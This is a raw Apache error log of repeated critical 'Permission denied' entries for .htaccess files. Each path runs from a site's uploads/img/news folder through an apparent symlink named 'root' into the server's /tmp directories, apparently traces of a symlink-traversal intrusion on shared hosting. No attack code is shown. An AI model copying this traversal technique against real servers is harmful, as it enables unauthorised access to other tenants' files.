[Fri Jul 17 09:19:46.909780 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kvio4n0z/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kvio4n0z/' is executable
[Fri Jul 17 09:19:46.909805 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/imu_f8pjBg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/imu_f8pjBg/' is executable
[Fri Jul 17 09:19:46.909835 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/VN_sKIWe1M/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/VN_sKIWe1M/' is executable
[Fri Jul 17 09:19:46.909870 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-pdns.service-xH5s4e/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-pdns.service-xH5s4e/' is executable
[Fri Jul 17 09:19:46.909897 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php82-php-fpm.service-9XgkOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php82-php-fpm.service-9XgkOe/' is executable
[Fri Jul 17 09:19:46.909921 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php74-php-fpm.service-V3dKJF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php74-php-fpm.service-V3dKJF/' is executable
[Fri Jul 17 09:19:46.909957 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/HaPw1kvXQa/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/HaPw1kvXQa/' is executable
[Fri Jul 17 09:19:46.909982 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-pdns.service-xii85j/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-pdns.service-xii85j/' is executable
[Fri Jul 17 09:19:46.910018 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php81-php-fpm.service-KncLg7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php81-php-fpm.service-KncLg7/' is executable
[Fri Jul 17 09:19:46.910055 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php72-php-fpm.service-ShPAo9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php72-php-fpm.service-ShPAo9/' is executable
[Fri Jul 17 09:19:46.910085 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BepjdEGNQj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BepjdEGNQj/' is executable
[Fri Jul 17 09:19:46.910166 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-pdns.service-Y8wVCN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-pdns.service-Y8wVCN/' is executable
[Fri Jul 17 09:19:46.910277 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php74-php-fpm.service-YfXixT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php74-php-fpm.service-YfXixT/' is executable
[Fri Jul 17 09:19:46.910309 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php73-php-fpm.service-cS5HOh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php73-php-fpm.service-cS5HOh/' is executable
[Fri Jul 17 09:19:46.910334 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BvQzm9QlFs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BvQzm9QlFs/' is executable
[Fri Jul 17 09:19:46.910360 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php72-php-fpm.service-8VtOxD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php72-php-fpm.service-8VtOxD/' is executable
[Fri Jul 17 09:19:46.910388 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-sZYwEq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-sZYwEq/' is executable
[Fri Jul 17 09:19:46.910414 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-cu6oyh5l/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-cu6oyh5l/' is executable
[Fri Jul 17 09:19:46.910438 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php73-php-fpm.service-It9BSL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php73-php-fpm.service-It9BSL/' is executable
[Fri Jul 17 09:19:46.910486 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php74-php-fpm.service-yZNDEC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php74-php-fpm.service-yZNDEC/' is executable
[Fri Jul 17 09:19:46.910513 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/R9mNzBWIcb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/R9mNzBWIcb/' is executable
[Fri Jul 17 09:19:46.910537 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fr7k51bb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fr7k51bb/' is executable
[Fri Jul 17 09:19:46.910638 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-apyig44w/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-apyig44w/' is executable
[Fri Jul 17 09:19:46.910694 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-rvnsnq0f/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-rvnsnq0f/' is executable
[Fri Jul 17 09:19:46.910732 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pA0ntYFBCZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pA0ntYFBCZ/' is executable
[Fri Jul 17 09:19:46.910759 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php73-php-fpm.service-104pMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php73-php-fpm.service-104pMN/' is executable
[Fri Jul 17 09:19:46.910786 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php72-php-fpm.service-pmXgTe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php72-php-fpm.service-pmXgTe/' is executable
[Fri Jul 17 09:19:46.910841 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/INpfuKcRii/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/INpfuKcRii/' is executable
[Fri Jul 17 09:19:46.910875 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Hlu8Hqaov_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Hlu8Hqaov_/' is executable
[Fri Jul 17 09:19:46.910901 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php83-php-fpm.service-6siber/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php83-php-fpm.service-6siber/' is executable
[Fri Jul 17 09:19:46.910929 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php81-php-fpm.service-8hXkyC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php81-php-fpm.service-8hXkyC/' is executable
[Fri Jul 17 09:19:46.910990 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/PM8JaQQ7Ui/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/PM8JaQQ7Ui/' is executable
[Fri Jul 17 09:19:46.911018 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-l9cau2gp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-l9cau2gp/' is executable
[Fri Jul 17 09:19:46.911054 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php74-php-fpm.service-5Hk5FJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php74-php-fpm.service-5Hk5FJ/' is executable
[Fri Jul 17 09:19:46.911083 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php81-php-fpm.service-qUsqKA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php81-php-fpm.service-qUsqKA/' is executable
[Fri Jul 17 09:19:46.911162 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-icnkvryl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-icnkvryl/' is executable
[Fri Jul 17 09:19:46.911190 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-c132wdsb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-c132wdsb/' is executable
[Fri Jul 17 09:19:46.911214 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php83-php-fpm.service-Gr3dhc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php83-php-fpm.service-Gr3dhc/' is executable
[Fri Jul 17 09:19:46.911240 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php81-php-fpm.service-u3WaYc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php81-php-fpm.service-u3WaYc/' is executable
[Fri Jul 17 09:19:46.911276 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php72-php-fpm.service-NhAfEw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php72-php-fpm.service-NhAfEw/' is executable
[Fri Jul 17 09:19:46.911303 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php72-php-fpm.service-DXORmd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php72-php-fpm.service-DXORmd/' is executable
[Fri Jul 17 09:19:46.911355 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jbozajkh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jbozajkh/' is executable
[Fri Jul 17 09:19:46.911383 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php74-php-fpm.service-DJAEJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php74-php-fpm.service-DJAEJh/' is executable
[Fri Jul 17 09:19:46.911413 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MMz0ksWHbC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MMz0ksWHbC/' is executable
[Fri Jul 17 09:19:46.911440 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php82-php-fpm.service-XsLtCI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php82-php-fpm.service-XsLtCI/' is executable
[Fri Jul 17 09:19:46.911477 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-1i5sjz7g/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-1i5sjz7g/' is executable
[Fri Jul 17 09:19:46.911540 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-uesdnzfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-uesdnzfo/' is executable
[Fri Jul 17 09:19:46.911578 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-_5seblg0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-_5seblg0/' is executable
[Fri Jul 17 09:19:46.911604 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php72-php-fpm.service-DeJszq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php72-php-fpm.service-DeJszq/' is executable
[Fri Jul 17 09:19:46.911641 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-pdns.service-R1TYSn/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-pdns.service-R1TYSn/' is executable
[Fri Jul 17 09:19:46.911667 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php74-php-fpm.service-QAYu50/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php74-php-fpm.service-QAYu50/' is executable
